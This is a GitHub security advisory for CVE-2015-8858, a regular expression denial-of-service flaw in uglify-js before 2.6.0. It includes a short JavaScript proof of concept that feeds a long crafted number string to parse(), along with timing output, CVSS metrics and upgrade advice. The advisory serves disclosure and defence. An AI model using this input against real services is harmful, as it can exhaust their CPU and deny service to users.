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Regular Expression Denial of Service in uglify-js

High severity GitHub Reviewed Published Oct 24, 2017 to the GitHub Advisory Database • Updated Apr 11, 2023

Package

npm uglify-js (npm)

Affected versions

< 2.6.0

Patched versions

2.6.0

Description

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

References

Published to the GitHub Advisory Database Oct 24, 2017
Reviewed Jun 16, 2020
Last updated Apr 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.264%
(66th percentile)

Weaknesses

CVE ID

CVE-2015-8858

GHSA ID

GHSA-c9f4-xj24-8jqx

Source code

No known source code
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